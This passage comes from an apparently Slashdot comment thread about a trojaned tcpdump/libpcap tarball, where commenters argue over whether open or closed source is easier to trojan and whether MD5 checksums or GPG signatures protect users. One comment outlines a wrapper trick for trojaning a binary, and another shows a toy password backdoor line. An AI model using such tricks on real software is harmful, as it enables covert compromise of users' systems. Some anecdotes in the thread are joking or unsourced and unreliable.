      I do not have a signature
    24. Re:Eventually, this would happen by bellings · · Score: 3, Funny

      Now - who has most to gain from a highly visible trojan that's in fact virtually useless - Microsoft.

      No! It's John Ashcroft! This is just the first step towards the Brave New World Order, as correctly fortold on that ground-breaking show "The X-Files."

      Before Chris Carter and David Duchovney were eliminated and replaced with robotic clones by the old CIA lackeys of George Bush Senior, that show was the only thing on television that really explained what was going on in the world. There was a brief attempt by the FOX network to continue feeding you important news about technology and politics, but the Lone Gunmen show was quickly eliminated by the evil forces...

      --
      Slashdot is jumping the shark. I'm just driving the boat.
    25. Re:Eventually, this would happen by jumpingfred · · Score: 1

      Do you seriously expect us to believe that you audit the code you run on your computer? I don't think there is enough in your life to audit 1% of the code on your computer.

    26. Re:Eventually, this would happen by Bruce+Perens · · Score: 2
      You don't need the source to trojan something. In fact, most trojans are simply virus-infected binaries. The entire purpose of most viruses is to trojan binary programs with another copy of the virus.

      Bruce

    27. Re:Eventually, this would happen by aridhol · · Score: 2

      Not necessarily. Take, for example, the Mozilla Project. Anyone is able to submit a patch, but it won't get into the codebase until it has been reviewed twice (three times during a release period). Any major open-source project should have something similar (although I admit that I don't know much about any other project's procedures).

      --
      I can't say that I don't give a fuck. I've just run out of fuck to give.
    28. Re:Eventually, this would happen by Bruce+Perens · · Score: 3, Interesting
      Well, consider the alternative. What do you call a program that trojans a binary? Most viruses do just that, don't they? So, we have ample proof that binaries can be trojaned, and there is less chance for you to find out because you don't have the source.

      Bruce

    29. Re:Eventually, this would happen by Bruce+Perens · · Score: 3, Interesting
      Uh, I'm not so sure. How do you check binaries to see if they have been trojaned? You run a virus scanner. What do viruses do? Most of them trojan a binary with a copy of themselves. How does a virus get found? By its effects. How does a source-code trojan get found? By people reading the source, or by its effects.

      Bruce

    30. Re:Eventually, this would happen by Bruce+Perens · · Score: 5, Informative
      Remember Interbase? It came with a trojan from Borland. The Open Source folks found it only AFTER the program was made open source. It had the trojan for at least 6 years before it became Open Source. It was running airplane reservation systems. Somebody got a lot of free flights.

      Why do you think only an employee can trojan a binary, anyway? Most viruses modify binaries. Certainly many virus-infected binaries have been distributed professionally.

      Bruce

    31. Re:Eventually, this would happen by Bruce+Perens · · Score: 5, Insightful
      In handling the press and public perception for this, it's important that we make the point that binary programs are trojaned all of the time. In fact, most viruses have as their sole purpose the modification of binaries to insert a trojan copy of the virus into the binary, and to execute the virus payload. Much proprietary software has been distributed in infected state.

      The difference is that with Open Source you have an additional means of detecting the corruption - not only by its effects (as with the binary), but by reading the source.

      Bruce

    32. Re:Eventually, this would happen by Anonymous Coward · · Score: 0

      Yeah, there's nothing easier than auditing your entire source tree after a cvsup before you do a make buildworld.

    33. Re:Eventually, this would happen by Bruce+Perens · · Score: 5, Insightful
      Also, we need to get better about signing our archives and heeding the signatures. Com'on folks! I wrote about this in the old linuxworld.com webzine in 1996!

      Bruce

    34. Re:Eventually, this would happen by 13Echo · · Score: 3, Informative

      Things aren't just *added* to the codebase of open source programs. You can't just walk up and pop some code into the codebase. It doesn't work that way. There always a code maintainer who reviews the changes before applying the patches. I can't think of any exceptions to this. Can you?

    35. Re:Eventually, this would happen by b0r1s · · Score: 1

      Ironically, the thing that slashdot hates most, DRM, would have prevented it from occuring. The trojaned copy would have to be signed, and the signature would have to be compromised. It's typically far more difficult to compromise a cryptographic signature than it is a webserver. Once the signature showed up with a mismatch, DRM would stop execution, and the trojan would be useless.

      --
      Mooniacs for iOS and Android
    36. Re:Eventually, this would happen by twisty7867 · · Score: 1

      Obviously there are exceptions - that's how this occurred - unless of course you are suggesting that the maintainer of this package was complicit in adding the trojan.

      In reply to other comments, of course Trojans get added to binaries all the time. (Although, relatively rarely to actual commercially distributed binaries - most often to pirated ones) However, this trojan is in the source - which goes back to my comment about employees (and I suppose hackers too).

    37. Re:Eventually, this would happen by legoboy · · Score: 3, Insightful
      You don't need the source to trojan something. In fact, most trojans are simply virus-infected binaries. The entire purpose of most viruses is to trojan binary programs with another copy of the virus.

      How quickly the world forgets how things like the original Back Orifice were distributed... Too funny to read 'This couldn't happen with closed source!'

      --
      If a tree falls on an anonymous coward yelling 'first post' in the forest, does anybody hear?
    38. Re:Eventually, this would happen by Anonymous Coward · · Score: 0

      What's so crazy about auditing the code? I do it, and I also hack code to improve speed/efficiency even a 0.01%, and, damn, I love it. Now, I don't audit every single package, but I do audut, say, the libc (which I'm in the process of rewriting), and many of the standard utilities. Basically the only things I haven't audited yet are most of the kernel, X, most of Mozilla, and a few others. But about 80% of the software I have the source for, I have audited, because I'm a paranoid freak who doesn't trust anything/anyone. Hell, I'm writing my own *NIX kernel/OS for speed, efficiency, and, of utmost importance, paranoid security. /me looks over his shoulder. I'm not paranoid, they really ARE out to get me!

    39. Re:Eventually, this would happen by FallLine · · Score: 2
      Uh, I'm not so sure. How do you check binaries to see if they have been trojaned? You run a virus scanner. What do viruses do? Most of them trojan a binary with a copy of themselves.
      Oh give me a break. There's a world of difference between a virus that blindly inserts malicious code (e.g., destroy sector 0) into any binary it can get its hands onto and a true trojan that was written for a special purpose by an actual human being. Although it's technically possible to insert a trojan into a binary file it is at least as hard as open source code is easy to audit. For instance, your average disgruntled sysadmin could modify, say, an open source financial software package pretty damn easily (not to mention the fact that he also has the means to place it) to, say, deposit a fraction of every deposit into his account (ok, that's not original), but that same person is unlikely to have the skill or the patience to make a truly undetectable trojan in a binary/proprietary package. Likewise, a hacker (yes, I know) can easily trojan an open source login program, but not a closed source one. Empirically speaking, there are a couple dozen complete backdoor packages for Linux and other open source systems, but none that I know of for Windows (well certainly not a lot). Now maybe windows can be backdoored in other ways, but the point still stands. This is especially true when the software is updated with newer versions; the open source backdoor can be trivially modified for relatively minor changes while the closed source backdoor cannot be so easily modified. If you are going to assert that open source is easier to audit, then you must also admit that it is easier to trojan. The two go hand in hand.
    40. Re:Eventually, this would happen by frozenray · · Score: 1

      Em, AFAIK that's not DRM (Digital Rights Management), but code signing and verification. DRM uses code signing and certificates to determine if you're allowed to use a particular piece of code/information. Correct me if I'm wrong.

      --
      "There are already a million monkeys on a million typewriters, and Usenet is NOTHING like Shakespeare." - Blair Houghton
    41. Re:Eventually, this would happen by dylan_- · · Score: 3, Informative
      What a load of crap! Internet Explorer saves your URL/Searches! STOP THE PRESSES! Internet Explorer saves cookies and history! BREAKING NEWS! OMIGOD IT'S A CONSPIRACY!
      And keeps them after you've instructed it to clear its history and cookies. That's the point. Didn't you read the article?
      Whoa, Microsoft installed "secret" files! How evil! The system attribute has only been around since, uh, DOS 1.0 or something!
      And doesn't display them even when you turn on the display of hidden and system files in explorer. Didn't you read the article?

      I would complain if Konqueror didn't show me all dot files after I'd enabled viewing them, or if the history file was being backed up without my knowledge.
      --
      Igor Presnyakov stole my hat
    42. Re:Eventually, this would happen by MarkusQ · · Score: 2

      Oh give me a break.

      Oh, give me a break. Your post is riddled with misconceptions & logical inconsistancies. For example:

      There's a world of difference between a virus that blindly inserts malicious code (e.g., destroy sector 0) into any binary it can get its hands onto and a true trojan that was written for a special purpose by an actual human being.

      So, the "true trojan" was written by an "actual human being" whilst the "virus" was written by...what? A tree frog?

      No, it was written by an actual human being.

      To do what? To "destroy sector 0"? How fast would that spread? Typically, a virus is designed to attach a copy of itself to the binary, producing a composite that contains the original code and cody written by the virus writter, in much the same way that a trojaned program is a composite of code from the same two sources.

      And so on.

      -- MarkusQ

      P.S. You may want to check your sources. A preliminary scan indicates that you may have been trojaned by the MSFUD virus.

    43. Re:Eventually, this would happen by mosch · · Score: 2, Insightful

      hell, you can change the date from the command line... just use touch (it takes an optional timestamp)

    44. Re:Eventually, this would happen by bockman · · Score: 3, Informative
      Obviously there are exceptions - that's how this occurred - unless of course you are suggesting that the maintainer of this package was complicit in adding the trojan.

      If this troian got inside like the others (OpenSSH and Bind, IIRC), it was _not_ a patch submitted to the project. Simply, somebody rooted the FTP server and substitute the official tarball with the troyanize one.
      In other words, the weak point that was exploited was not that anybody can contribute to an open source project ( which is not a weakness at all IMO) but that source tarballs are hosted on insufficiently protected FTP servers.

      There are counter-measures against this weakness. As long as distros use them (and I hope they do), it is unlikely that one of these trojans will slip into an officia CD.

      --
      Ciao

      ----

      FB

    45. Re:Eventually, this would happen by sg3235 · · Score: 1

      I don't think that this counts as an exception. I believe that the original poster was talking about process. The average person does not simply update the code base because the maintainer of the package reviews code to be added as part of a process. If there's a security breach, that doesn't qualify as an exception to the process.

    46. Re:Eventually, this would happen by Anonymous Coward · · Score: 1, Interesting

      Let's acknowledge the reason we have phrases like "trojan" and "virus" in respect to computer software. Each of them describes a different type of malicious code. At the least it's disingenous to claim that a virus "inserts a trojan". To put it more accurately, it's just flat out wrong to claim that a virus trojans (sic) a binary with a copy of itself.

      Using the language the way you are is many times worse than using phrases like "pirate" to describe a criminal and civil rights violator. Or using "hacker" v. "cracker".

      Nedward

    47. Re:Eventually, this would happen by Marc2k · · Score: 2

      I'm not siding with either paradigm on this one, but you can't broadly apply something that Microsoft did (of all companies) to the rest of the closed source world. There is some merit and dignity left in a few of the companies, and surely the world's leader in insecure data solutions should not be the archetypal closed source company. I'm not saying that the original poster was very lucid or correct, but surely he had a point. Let me amend:

      No closed source corporation worth its salt would ever leave source anywhere near a webserver.

      Microsoft has generally always done a piss poor job with information security, even in handling their own information.

      --
      --- What
    48. Re:Eventually, this would happen by tshak · · Score: 2

      If your closed source software has backdoors or trojans...well....
      Well, that's why you have peer review, software test engineers (that test for security, not just breaking bugs). The reality is I don't have time to find these trojans, so I expect a company to do it internally. True, with Open Source there are "more eyes" looking at the code, but there's no guaruntee of the competance of those eyes.

      --

      There is no longer anything that can be done with computers that is nontrivial and clearly legal. -- Paul Phillips
    49. Re:Eventually, this would happen by HiThere · · Score: 1

      Yeah. It's happened before. It'll happen again. Eternal vigilance etc. applies to software as well as to politics.

      I think that the first time it happened (the first I heard about) it was actually the c compiler that was trojaned. (It's more complicated than that, but I don't remember the details.) This was back in, perhaps, the 70's??, anyway, around the time that gcc 1.0 was being readied. I believe that it was basically intended as debugging code, but in the release compiler it made things dreadfully insecure.

      But it happens sporadically with greater or lesser seriousness. Also, the definitions aren't totally clear. Would you consider "Netscape Engineers are Weenies" the password of a trojan? What about Easter Eggs?

      --

      I think we've pushed this "anyone can grow up to be president" thing too far.
    50. Re:Eventually, this would happen by tshak · · Score: 2

      Microsoft had their source available to some cracker for three months back in 2000.

      Just because _parts_ of the Windows Source was leaked thanks to help from an Employee doesn't mean that that "cracker" could modify the code and check it in.

      --

      There is no longer anything that can be done with computers that is nontrivial and clearly legal. -- Paul Phillips
    51. Re:Eventually, this would happen by bockman · · Score: 1
      but that same person is unlikely to have the skill or the patience to make a truly undetectable trojan in a binary/proprietary package.

      It takes much less than you seem to think:

      • rename the target binary 'program' as 'program.lib'
      • Make a C program that first does the evil you want to do, then execv program.lib
      • Compile your program and put it instead of the original program executable.
      Of course there are ways to detect this simple trick. By inspection, checksum, whatever. The same ways that can be used to detect trojans in open source programs. So, you see, there is no difference security-wise.
      --
      Ciao

      ----

      FB

    52. Re:Eventually, this would happen by eht · · Score: 1

      and exactly how hard would it be for whoever trojaned it to change the md5 sum?

    53. Re:Eventually, this would happen by FallLine · · Score: 2

      What a nit. You say riddled and yet you can only name one supposed inconsistency which really is not and it is not even apropos to the question at at hand. No where did I say that a human did not author viruses originally. What I was referring to, is that, while a virus is ultimately derived from a human, the application is, of necessity, so generic that it does not substantively interact with code in the program which it is infecting. In other words, an actual human can produce code for a specific application, but the virus, by definition not a human, does not. For instance, it may insert a block or two of binary code into at a couple locations, but its sole purpose is to propogate itself further and to, possibly, carry some malicious code (e.g, destroy sector 0, look it up if you don't know where the MBR in DOS is located). Contrast this with a trojan that was authored by a human for a specific purpose to intercept particular functions or what have you and do them in a way that is not easy to detect. [Note: while it may be technically possible to make that kind of specific virus, these are practically unheard of, and does not in any way mean that open source is any less easy to trojan]

      Put bluntly, if you wish to hold up viruses as an example of the frequency of "trojans" in closed source software, then you should make a strong distinction between the virus' very generic attacks and the often far more dangerous and subtle trojan attacks of humans on specific code and installations.

    54. Re:Eventually, this would happen by r55man · · Score: 1
      and exactly how hard would it be for whoever trojaned it to change the md5 sum?

      In the current context, this is irrelevant. It is known that archive with md5sum 0597c23e3496a5c108097b2a0f1bd0c7 does not contain the trojan being discussed. So if the md5sum of the archive you downloaded checks out, you know you are not affected by this.

      It's possible that other malicious code slipped in at an earlier date, and the person in that case did change the md5sum, but that's not something to lose sleep over until someone reveals it and you know it affects you.

    55. Re:Eventually, this would happen by Melantha_Bacchae · · Score: 2

      Marc2k wrote:

      > I'm not siding with either paradigm on this one,
      > but you can't broadly apply something that
      > Microsoft did (of all companies) to the rest of
      > the closed source world.

      The poster I responded to claimed it was impossible for closed source to be similarly cracked into. I simply pointed out one example where it was.

      > No closed source corporation worth its salt
      > would ever leave source anywhere near a
      > webserver.

      You don't need a webserver to have a computer cracked into. The web is a very recent addition to the internet. There were worms and other nastiness crawling around networks well before the web was ever invented.

      If an individual closed source developer has internet access on their development machine (for say email and online help - MSDN in the Microsoft world), the internet has access to their source code. Something as simple as an emailed trojan executable arriving via Outlook could send source files home to its master, and deliver patches from its master. (I am pointing out a security hole to patch here, don't go doing anything like this!)

      BTW, most corporations aren't worth a thimble of salt. Corners get cut, marketing makes insane deadlines, laziness and sloppiness abound. It is even worse now that more companies have 24 hour broadband access piped to the same PC that houses development work. People just don't think, and management only cares about the bottom line and department politics.

      Windows: "Go talk to my friend, an 800 pound monopoly-abusing gorilla!"
      Mac: "And here's my good buddy, the 66,000 ton Godzilla!"
      Godzilla: Stomp! ;)

    56. Re:Eventually, this would happen by John+Hasler · · Score: 2

      > Well, that's why you have peer review, software
      > test engineers (that test for security, not just
      > breaking bugs).

      How do you know that your closed source vendor has that? Do you take the salesman's word?

      > ...but there's no guaruntee of the competance of
      > those eyes.

      No, but the large number makes it likely that at least one set will be competent. Where's the guarantee with closed source?

      --
      Warning: this article may contain humor, sarcasm, parody, and perhaps even irony. Read at your own risk.
    57. Re:Eventually, this would happen by swv3752 · · Score: 2

      It surely does mean that it was possible. What's the level at which you are willing to bet that this wasn't done? that's what I thought.

      --
      Just a Tuna in the Sea of Life
    58. Re:Eventually, this would happen by sheldon · · Score: 2

      But it doesn't necessarily mean it was probable.

    59. Re:Eventually, this would happen by shatfield · · Score: 2

      Wow, someone had a blue screen this morning!

      You obviously didn't read the article. Microsoft does this OUTSIDE of the "cookies anc caching" system... this is a HIDDEN FROM THE USER source that Microsoft can pull from to get every page that you've visited, every URL you typed, etc.

      If Linus were to do this, Alan Cox would quickly become the defacto Linux kernel developer.. with Uncle Bill in control of the corporations that we work for, we don't have that luxury.

      --
      "To make a mistake is only human; to persist in a mistake is idiotic." Cicero
    60. Re:Eventually, this would happen by dvdeug · · Score: 2

      The reality is I don't have time to find these trojans, so I expect a company to do it internally.

      How do you know the programmers aren't the one's who put the trojan there? There's a number of trojans, especially backdoors, put there by the programmer. (Remember WarGames?) IIRC, Borland Database had a backdoor added in '95 that was revealed when it was open sourced in 2000.

    61. Re:Eventually, this would happen by tshak · · Score: 2

      Where's the guarantee that your car is designed to last 250,000 miles? Sure, you can open the hood, but you (nor any individual) can determine the quality of the design simply by opening the hood. You look at a Company's track record. When Honda has proven itself by building cars that last long with minimal maintenance, that's how you know. This is the same with Airplane's, or any other engineered product. It's ludicrious to assume that the blueprints for a 747 need to be "open" so that we can ensure that there's no bugs in the GPS computer (for example).

      --

      There is no longer anything that can be done with computers that is nontrivial and clearly legal. -- Paul Phillips
    62. Re:Eventually, this would happen by tshak · · Score: 2

      Remember WarGames?

      Yes, I own that _MOVIE_ (case in point).

      --

      There is no longer anything that can be done with computers that is nontrivial and clearly legal. -- Paul Phillips
    63. Re:Eventually, this would happen by dvdeug · · Score: 2

      I own that _MOVIE_ (case in point).

      It was a parenthetical comment, and followed by a real-life case. As far as I can tell, WarGames was one of the most accurate theatrical portrayals of hacking ever.

    64. Re:Eventually, this would happen by Anonymous Coward · · Score: 0

      spin spin spin.

      Sounds like Microsoft tactics to me. Just come clean and be honest.

    65. Re:Eventually, this would happen by evilpenguin · · Score: 3, Informative

      It should be easy to find this person. The trojan downloads evil code from a specific web site. This site is either the perps or was cracked by the perp. They will be hunted down.

      There is virtually no way to be absolutely certain of the integrity of any code, unless you audit it yourself. Even fans of OpenBSD have to admit that they are trusting the OpenBSD auditors. Some would use this to argue that you can place greater trust in closed code. But, to use Microsoft as an example (but not to claim that they are the adminstrator of all evil), the infamous Word macro virus first appeared on a Microsoft beta release and I seem to recall a story a little over a year ago about Russian hackers having spent a few merry weeks in the Windows 2000 source code. Trust now?

      The point is that we all use code on faith. Even should Palladium become reality, you are just transferring trust to another party. The lesson I think we in the Free Software community should take away from this is that we should make better use of the tools we have. We should should provide GPG signed MD5 checksums of all of our "official" tarballs. Some projects do this, some do not. As I just pointed out, this is not a guarantee, but it does provide a chain of accountability.

    66. Re:Eventually, this would happen by i+am+fishhead · · Score: 1

      Although it is less probable, someone could put malicious code in closed source software. Just because someone works for a software company doesn't mean they won't slip something like this trojan in... Granted, I think it would be much harder to do, but it is possible.

    67. Re:Eventually, this would happen by kevlar · · Score: 1

      The point is that a virus (in the traditional computer virus sense... none of this MS vbscript bs) is detectible because it needs to mess with the file by appending itself to the end and/or adding jumps in the beginning of the code. A Trojan Horse on the other hand is compiled from source to include the backdoor. This makes it virtually undetectible without looking at the source or somehow triggering it.

      What FallLine is saying about trojan's is completely true. Not only is it next to impossible to trojan a binary executable, but its detectible because it leaves a specific signature. A trojan compiled into a binary from source code is not only MUCH easier to implement, but it could very easily go undetected.

      Stay in school. You have a long way to go.

    68. Re:Eventually, this would happen by yem · · Score: 2

      Last time I checked, GCC source tarballs STILL aren't signed, despite this being brought to the maintainer's attention. The perception that MD5 sums are sufficient is extremely common.

      Trojaned gcc, anyone?

      --
      No, I did not read the f***ing article!
    69. Re:Eventually, this would happen by Anonymous Coward · · Score: 0

      > Hmmm. I guess you've never used or seen a
      > cracked binary before. It's certainly a little
      > harder, but not remotely impossible to trojan
      > a binary-- just less people would know how to
      > do it.

      Palladium will fix this .. definitively

    70. Re:Eventually, this would happen by tshak · · Score: 2

      and followed by a real-life case.

      A case which does not substantiate that the flaw had anything to do with the nature of "closed source" software - maybe Borland just had a poor code review process, or maybe it didn't happen at all and it was a rumour.

      WarGames was one of the most accurate theatrical portrayals of hacking ever.


      I'm not sure whethor to mod this +5 Funny or -1 Clueless. I really hope you were joking.

      --

      There is no longer anything that can be done with computers that is nontrivial and clearly legal. -- Paul Phillips
    71. Re:Eventually, this would happen by dvdeug · · Score: 3, Insightful

      A case which does not substantiate that the flaw had anything to do with the nature of "closed source" software

      With in a few months of the code being open sourced, the back door was found. It stayed in closed source code for six years. Whether or not Borland could have done things to find it is irrelevant - they didn't and I bet many other vendors work the same way.

      it was a rumour.

      I guess it's easier to accuse me of spreading rumors then to enter "Borland database backdoor" into google and get stuff like a ZDNet article detailing the history of the bug or the CERT vulnerability note.

      WarGames was one of the most accurate theatrical portrayals of hacking ever.

      I'm not sure whethor to mod this +5 Funny or -1 Clueless. I really hope you were joking.

      Why? He didn't fly through a 3d-cyberspace, nor did he jump through 5 layers of military-grade security in a couple minutes. He didn't have access to anything and everything controlled by computer.

      He snagged the password to the teacher's computer off a Post-it note, and dug up information on the programmer of WOPR to take guesses at what the password might be, both of which are real hacking tools. He used hardware that existed and that he could realistically own. He wardialed, a habit of real hackers. I can't think of any other movie that comes close.

      There are minor plot-neccessary exaggerations -- no, WOPR wouldn't have an outside line to it, and yes, the cops would have been at the door long before he got in -- but they don't mar the fact that it was fundamentally right.

    72. Re:Eventually, this would happen by Jace+of+Fuse! · · Score: 1

      And doesn't display them even when you turn on the display of hidden and system files in explorer. Didn't you read the article?

      There are ways to make it show even the "Truely Hidden" files, but most people are never going to go around modifying [SHELL CLASS] tags in DESKTOP.INI files that they don't even know are there.

      I've done it on my system, it makes deleting shit so much easier. However, I'd dare say the great majority of all Windows users have no idea how this is done, and that includes the self proclaimed experts.

      A google search on the subject should lead someone to many good pages.

      --

      "Everything you know is wrong. (And stupid.)"

      Moderation Totals: Wrong=2, Stupid=3, Total=5.
    73. Re:Eventually, this would happen by coaxial · · Score: 2

      I downloaded libpcap/0.7.1 from tcpdump.org on September 2 of this year (just 2 months ago), and it was not trojaned (I keep a record of md5 sums, and was able to check this just now).

      You do realize of course that MD5s only provide limited security. Afterall, if I can replace the .tar.gz, why can't I also replace the .md5?

    74. Re:Eventually, this would happen by Bruce+Perens · · Score: 2
      I'm not sure I agree with you about the semantics of virus vs. trojan. Please call me at the phone number on my web site to discuss this, if you wish to continue the argument.

      Thanks

      Bruce

    75. Re:Eventually, this would happen by MarkusQ · · Score: 2

      What a nit. You say riddled and yet you can only name one supposed inconsistency which really is not and it is not even apropos to the question at at hand.

      I, on the other hand, would maintain that it is to the point. It was a clear example of the sort of emotional (as opposed to rational) argument you were offering. In particular, your heated tone implies sharp distinctions that all but vanish when examined a little more calmly. They are (I would argue) an artifact not of what you are saying but of how you are saying it. For example, from your last post:

      Put bluntly, if you wish to hold up viruses as an example of the frequency of "trojans" in closed source software, then you should make a strong distinction between the virus' very generic attacks and the often far more dangerous and subtle trojan attacks of humans on specific code and installations.

      • Stripped of all the heat/emotional language, your statement boils down to: "to use viruses as example of trojans you should distiguish virus attacks and trojan attacks." In other words, if I want to say "A is an example of B" I should say "A is not B"--which is not a valid statement about categorical inclusion.
      • Even if it was true in general, it wouldn't apply in this case since "trojan" is a means of acting ("trojan" code is code that lies hidden inside a seemingly innocent program, and therefore is executed by an unsuspecting user) while "virus" is a means of propogation ("virus" code is code that spreads by using the resources of infected machines to make copies of itself). To put them in opposition is a silly as contrasting "things that swim" with "things that lay eggs".
      • If I try to guess what your real point is, the best I can come up with is "viruses are easier to detect than trojans, because you can spot them by looking at the binaries instead of digging through the source". While this sounds a little more reasonable on the surface, it is also flawed. Yes, it is easy to spot a virus by compairing an infected binary with an uninfected binary (if you know which one is which). But it would be just as easy to detect a trojaned program by compairing it to an untrojaned copy (again, assuming that one was labled "suspected" and the other was labeled "known good").
      • As for contrasting open source and closed source (which seems to be the main axe you are grinding), the advantage of open source is that, in the case where you don't have a "known good" copy) it is much easier to find suspicious code by looking at the source than by looking at the binary.

      -- MarkusQ

    76. Re:Eventually, this would happen by FlowerPotAdmin · · Score: 1

      There are counter-measures against this weakness. As long as distros use them (and I hope they do), it is unlikely that one of these trojans will slip into an officia CD.

      Yes, yes, you can buy physical copies of the media, but couldn't someone just root the FTP servers serving the ISOs and plant a modified ISO? The problem doesn't stop just because distros are involved.

      --
      -Justin
      That's enough posting for now lads, there're trolls afoot.
    77. Re:Eventually, this would happen by whereiswaldo · · Score: 2

      You do realize of course that MD5s only provide limited security. Afterall, if I can replace the .tar.gz, why can't I also replace the .md5?

      Presumably, the md5sum file was also md5sum'd.

    78. Re:Eventually, this would happen by Random+Walk · · Score: 2
      Unfortunately, almost nobody cares to verify signatures. And exactly nobody ever tries to verify the signature key.

      And worst of all, gpg has no option that would enforce checking the signature on signed data, or at least would make it difficult to access them without checking the signature.

    79. Re:Eventually, this would happen by Bert64 · · Score: 1

      But you have comeback on a car, They`re all guaranteed for atleast a year if not more, if poor design/workmanship causes problems for you, such as a part failing, it is fixed for you for free, or you may be able to claim a refund on the vehicle. If there are major faults with the car similarly you can get a replacement (a new model without the flaws) and a refund. If you know enough about cars, you can look under the hood and check the workmanship and relative merits of the vehicle. Or you could buy all the parts seperately and assemble your own car.
      Secondly, i`ve never heard of a car company suing someone for looking under the hood.. nor do they take any measures to prevent you from doing so.
      Personally i would feel much safer if i (an average citizen) could see the blueprints for a 747, even tho i know very little about aircraft design, if i was especially worried i could speak to someone who does. And dont say terrorists will get the blueprints, mr bin laden has plenty of money and people to work for him.. getting his hands on blueprints wouldnt be hard.
      I would DEFINATELY want to see sourcecode for any online systems where i`m expected to deal with money etc.

      --
      http://spamdecoy.net - free throwaway anonymous email - avoid spam!
    80. Re:Eventually, this would happen by coaxial · · Score: 1

      Presumably, the md5sum file was also md5sum'd.

      I certainly hope you're being facetious.

    81. Re:Eventually, this would happen by r55man · · Score: 1
      You do realize of course that MD5s only provide limited security. Afterall, if I can replace the .tar.gz, why can't I also replace the .md5?

      See the reply to eht; this is an irrelevant point.

      I'm not saying it's not a valid point, just irrelevant at this time. We're talking about a specific trojan here, and the fact remains that the checksum of an archive known not to contain this trojan has been published.

      If you downloaded the archives from tcpdump.org at least two months, you are safe from this trojan because it had not been planted yet.

      m.
    82. Re:Eventually, this would happen by FallLine · · Score: 2
      I, on the other hand, would maintain that it is to the point. It was a clear example of the sort of emotional (as opposed to rational) argument you were offering. In particular, your heated tone implies sharp distinctions that all but vanish when examined a little more calmly. They are (I would argue) an artifact not of what you are saying but of how you are saying it.
      There was nothing emotional in my post. I challenge you to list something that was emotional. What's more, even if you will assert that were was a scintilla of emotion in it, you completely ignored the bulk of the argument in favor of some niggardly point, despite the fact that the meaning (and even arguably phrasing) was very clear. Lastly, you were the ones that came forth with the ad hominem attacks. Pot Kettle Black.

      I said:

      Put bluntly, if you wish to hold up viruses as an example of the frequency of "trojans" in closed source software, then you should make a strong distinction between the virus' very generic attacks and the often far more dangerous and subtle trojan attacks of humans on specific code and installations.

      That was a very clear statement, yet you spewed:

      Stripped of all the heat/emotional language, your statement boils down to: "to use viruses as example of trojans you should distiguish virus attacks and trojan attacks." In other words, if I want to say "A is an example of B" I should say "A is not B"--which is not a valid statement about categorical inclusion.
      Wrong. That is not what I said. What I said, in essence, is that, although viruses are a subset of trojans [which they are: according to the popular definition; according to your hero's post in this thread; and especially according to the stricter definition of the Jargon File], for the purpose of this discussion, an argument concerning the relative resistance against trojaning of open source vs closed source, you should make a distinction between the capabilities of the generic virus (e.g., stick this destructive code to destroy all files at the end of every executable) and that of the purposely coded human trojan (e.g., transfer every 100th transaction into my bank account). In other words, while you might technically be able to say that both are trojans equally well, ignoring the difference in the context of this discussion is disingenious.

      Even if it was true in general, it wouldn't apply in this case since "trojan" is a means of acting ("trojan" code is code that lies hidden inside a seemingly innocent program, and therefore is executed by an unsuspecting user) while "virus" is a means of propogation ("virus" code is code that spreads by using the resources of infected machines to make copies of itself). To put them in opposition is a silly as contrasting "things that swim" with "things that lay eggs".
      More of the same nonsense. Again, I did not say that.

      If I try to guess what your real point is, the best I can come up with is "viruses are easier to detect than trojans, because you can spot them by looking at the binaries instead of digging through the source". While this sounds a little more reasonable on the surface, it is also flawed. Yes, it is easy to spot a virus by compairing an infected binary with an uninfected binary (if you know which one is which). But it would be just as easy to detect a trojaned program by compairing it to an untrojaned copy (again, assuming that one was labled "suspected" and the other was labeled "known good").
      No, this is not what I was referring to either. Perhaps your trouble is simply your shallow understanding of the structure of the various executable files and the limitations on what any program can do, baring some major advances in AI, versus that of a human's creativity. You are not going to see a virus that can selectively go into any program and do something specific to that program itself like, say, transferring every 5th charge to my bank account. In other words, the fact that viruses can spread successfully is a result of the fact that they limit themselves to the trivial appending of code and other such non-specific attacks. Outside of those easily detectable sorts of attacks, a closed source binary is far far harder to trojan.

      As for contrasting open source and closed source (which seems to be the main axe you are grinding), the advantage of open source is that, in the case where you don't have a "known good" copy) it is much easier to find suspicious code by looking at the source than by looking at the binary.
      I disagree. It is easier to formulate an attack than it is a defence. While you are empowered to more easily look for bugs and backdoors in the code with the availability of source code, you are also put in a position where thousands of people can even more easily insert their own malicious code (completely ignoring the fact that few people in the real world do or even have the time). The bad guys only need to inject a couple lines of code, but you need to fully understand what each and every line does and that is far less trivial. Open source auditors may easily detect code such as if strcmp(passwd,"l33tpass") backdoor(); but the backdoor may consist of infinitely more subtle attacks. For instance, the hacker may introduce a hard to reproduce buffer overflow vulnerability, without using one of the many known insecure functions, especially in places that people are unlikely to be looking at intensely. Besides the fact that these open source development efforts generally involve more programmers, rather then a select few, and therefore increase the exposure to "bad" people, the risks do not end when the distribution is finalized. When you have open source code you make it easier for any hacker that may happen to intercept the code in transit, so to speak. When you have open source code, you make it easier to create a backdoor in the system for a hacker... and so on. In short, if you are going to claim that open source is easier to validate, then you should also admit that it at least makes it easier to write malicious code for, both because you can trivially add code in a high level fashion and because your ability to understand the fundamentals of the program is greater (e.g., you don't have to reverse engineer file formats).
    83. Re:Eventually, this would happen by Decodec · · Score: 1

      Could anyone help me understand how to use the MD5 to verify that the archive has not been tampered with?

    84. Re:Eventually, this would happen by GigsVT · · Score: 1

      All Red Hat RPMs are signed and signatures are automatically checked by up2date.

      --
      I've had enough abrasive sigs. Kittens are cute and fuzzy.
  6. Seems by jamesjw · · Score: 2, Informative


    Seems now more than ever the need to check the authenticity of your sources before installing.

    As if security auditing wasnt a big enough headache already :(

    --
    -- If at first you don't succeed, lie!
    1. Re:Seems by Marx_Mrvelous · · Score: 2, Redundant

      You mean you don't check the checksum before you install software now? There's a reason that they provide the md5 for the compressed code!

      --

      Moderation: Put your hand inside the puppet head!
    2. Re:Seems by jamesjw · · Score: 1


      I am very careful, and trustign code from the authors/primary distribution site has in recent times (e.g. in the case of Sendmail 8.12.6)
      prooven that you cant trust the distribution point, you need to check that the version thats there is the version the authors inteded to send out (MD5 checksums are the widest accepted way of doign this)

      But a bit more security around the fileservers and webservers where these files are distribtued from would never go astray.

      --
      -- If at first you don't succeed, lie!
    3. Re:Seems by paranoos · · Score: 5, Insightful

      If some malicious coder could upload manipulated software, do you not think they could also spoof the MD5 sum also? From what I've seen, the checksum is usually just stored in a text file in the same directory.

    4. Re:Seems by fitten · · Score: 2, Insightful

      md5sum doesn't guarantee anything other than saying that the version you downloaded was the one that the author/host put out there for you to download (and not someone else's). If the author/host put a trojan in it, the md5sum will be for the trojan'd software.

